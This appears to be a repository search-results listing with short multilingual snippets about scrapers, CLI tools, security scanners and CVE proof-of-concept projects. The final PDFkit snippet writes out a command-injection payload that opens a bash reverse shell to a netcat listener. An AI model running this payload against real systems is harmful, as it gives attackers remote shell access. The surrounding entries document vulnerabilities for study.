128539 matches found
tiktok-scraper
TikTok Scraper & Downloader TikTok から有用な情報をスクレイピングおよびダウンロードします。 ログインやパスワードは不要です これは公式 API サポートなどではありません。TikTok Web API を使用してメディアや関連メタ情報をスクレイピングするだけのスクレイパーです。 目次 機能 To Do 貢献 インストール 使用方法 ターミナル ターミナルの例 ダウンロード履歴の管理 バッチでスクレイピングおよびダウンロード 出力ファイルの例 Docker ビルド 実行 モジュール メソッド オプション Promise を使用 イベントを使用...
CVE-2024-21532-PoC-ggit
CVE-2024-21532 ggit 中的命令注入漏洞 ggit 这样描述自己： Local promise-returning git command wrappers 资源： 项目的 GitHub 源代码：https://github.com/bahmutov/ggit 项目的 npm 包：https://www.npmjs.com/package/ggit...
cve-lite-cli
Most tools tell you what's wrong. CVE Lite CLI tells you what to run. CVE Lite CLI 🏆 Officially recognized as anOWASP Lab Project Vulnerability scanning that starts in your terminal and fits cleanly into CI. Scan your lockfile, get copy-and-run fix commands, and ship clean code. Scan. Understand...
CVE-2024-21533-PoC-ggit
CVE-2024-21533 ggit 中的参数注入漏洞 ggit 这样描述自己： Local promise-returning git command wrappers 资源： 项目的 GitHub 源代码：https://github.com/bahmutov/ggit 项目的 npm 包：https://www.npmjs.com/package/ggit...
magika
Magika Magika 是一款新颖的 AI 驱动文件类型检测工具，依托深度学习的最新进展，提供精准的检测能力。在底层，Magika 采用了一个定制的高度优化模型，其体积仅约几 MB，即使在单颗 CPU 上运行，也能在毫秒级内完成精确的文件识别。Magika 在涵盖 200 多种内容类型（包括二进制和文本文件格式）的约 1 亿个样本数据集上进行了训练和评估，在我们的测试集上平均准确率达到了约 99%。 以下是 Magika 命令行输出效果的示例： Magika 已大规模应用于帮助提升 Google 用户的安全性，将 Gmail、Drive 和 Safe Browsing...
cwe-tool
cwe-tool 一个基于 OWASP / CAPSEC 通用弱点枚举数据库的命令行 CWE 发现工具。 官方 OWASP CWE Toolkit 页面 安装 通过 Node.js 工具直接执行 如果您有 Node.js 环境，可以使用 npx 工具调用 cwe-tool，如下所示： npx cwe-tool ...命令行选项... Docker 从 Docker Hub 拉取镜像 docker pull lirantal/cwe-tool docker run --rm lirantal/cwe-tool --search test 本地构建说明 git clone...
twifo-cli
T W I F O - C L I Twitterユーザーの情報を取得します！ インストール $ npm install --global twifo-cli OR $ sudo npm install --global twifo-cli 使い方 $ Usage: twifo Example: $ twifo 9gag 関連 twifo : このツールのAPI。 quorafy: Quoraユーザーの情報を取得します。 ライセンス MIT © Rishi Giri...
PolinRider
PolinRider: DPRKの脅威アクターが数百のGitHubリポジトリにマルウェアを埋め込む 日付: 2026-03-07 最終更新: 2026-04-11 — 以下の4月10日～11日の更新を参照 深刻度: CRITICAL — 1,950以上 の公開リポジトリにわたる活発なサプライチェーン感染、TasksJacker / Contagious Interviewクラスターとの運用統合を確認...
CVE-2020-17453
Insignias Licencia MIT Instalación Instala CVE-2020-17453 con npm npm install cve-2020-17453 -g Uso Ejemplo para una sola URL CVE-2020-17453 -u http://example.com Uso Ejemplo para una lista de URLs CVE-2020-17453 -l urls.txt -o out.txt Capturas de pantalla Menú de ayuda Obtener todos los elemento...
node-ipc-malware-protestware-CVE-2022-23812
CVE-2022-23812 RIAEvangelist/node-ipc 是恶意软件/抗议软件 RIAEvangelist/node-ipc 模块包含抗议软件 peacenotwar。 来自 RIAEvangelist/node-ipc 的摘录： 自 v11.0.0 和 v9.2.2 起 ，此模块使用了 peacenotwar 模块。 更重要的是，RIAEvangelist/node-ipc 的提交 847047cf7f81ab08352038b2204f0e7633449580 - 6e344066a0464814a27fbd7ca8422f473956a803 包含恶意软件。 ⚠️|...
CVE-2021-21315-PoC
CVE-2021-21315-systeminformation 这是针对 CVE-2021-21315 的概念验证，该漏洞影响 Node.JS 的系统信息库（npm 包 "systeminformation"）。npmjs.com/systeminformation "务必检查或清理传递给 si.inetLatency、si.inetChecksite、si.services、si.processLoad 等服务参数……仅允许字符串，拒绝任何数组。字符串清理如预期正常工作。" 由于该漏洞说明不够清晰（依我之见），我决定基于有漏洞版本的 systeminformation 编写一个小应用...
CVE-2021-44906
CVE-2021-44906 原出处：https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip 运行 npm run hack 然后你会看到任意函数的 done 属性被改为 true。 命令行 node index.js --.concat.constructor.prototype.done true 的解释： -- 是命令行参数中常用的连字符标记。 是 minimist...
generator-burp-extension
Burp拡張機能ジェネレーター インストール まず、npm（node.jsが事前にインストールされていることを前提とします）を使用してYeomanとgenerator-burp-extensionをインストールします。 npm install -g yo npm install -g generator-burp-extension 次に、新しいプロジェクトを生成します。 yo burp-extension Burp拡張機能の機能...
CVE-2022-0155-PoC
CVE-2022-0155 概念验证 PoC 该仓库包含对 CVE-2022-0155 漏洞的演示。 该漏洞由 ranjit-git 发现，并在 此处 详细描述。 本 PoC 的目的是展示该漏洞不仅适用于将 follow-redirects 用作直接依赖的场景，也适用于通过 axios 将其用作间接/传递依赖的场景。 概述 该漏洞影响版本低于 1.14.7 的 follow-redirects npm 包。Follow-redirects 扩展了 内置 HTTP 模块，增加了跟随重定向的能力。 为了演示该漏洞，请考虑以下场景： 1. follow-redirects 被用于向...
CVE-2023-45827
CVE-2023-45827 脆弱性の概要 CVE-2023-45827 CVSS : 9.8 Nov 3, 2023 node.jsパッケージにおけるProtoType Pollution rebobプロジェクトの一環 脆弱性の説明 GitHubアドバイザリ これは、dot-diverにおけるPrototype PollutionPPの脆弱性です。RCEにつながる可能性があります。 脆弱なコード //https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277 //eslint-disable-next-line...
dcipher-cli
dcipher-cli ハッシュをオンラインのレインボーテーブルおよびルックアップテーブル攻撃サービスを使用して、ターミナルから直接クラックします。 インストール ❯❯❯ npm install -g dcipher-cli 使用方法 ❯❯❯ dcipher --help ハッシュをオンラインのレインボーテーブルおよびルックアップテーブル攻撃サービスを使用して、ターミナルから直接クラックします。 使い方 ❯❯❯ dcipher ❯❯❯ echo | dcipher オプション -p, --plain ログ記号なしで出力を表示 例 ❯❯❯ dcipher...
ReactNext2Shell
es-define-property Object.defineProperty, but not IE 8's broken one. Example const assert = require'assert'; const $defineProperty = require'es-define-property'; if $defineProperty assert.equal$defineProperty, Object.defineProperty; else if Object.defineProperty assert.equal$defineProperty, false...
lodash.template-fixed
lodash.template v4.5.0 Lodash のメソッド .template を Node.js モジュールとしてエクスポートしたものです。 インストール npm を使用する場合: $ sudo -H npm i -g npm $ npm i --save lodash.template Node.js での使用: var template = require'lodash.template'; 詳細については、ドキュメント または パッケージソース を参照してください。...
PDFkit-CMD-Injection
PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 1- python3 -m http.server 80 启动 netcat 监听器 2- nc -lnvp 'Target Port' 发起请求 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i &/dev/tcp/"TargetADRESS/LISTENINGPORT"&1''...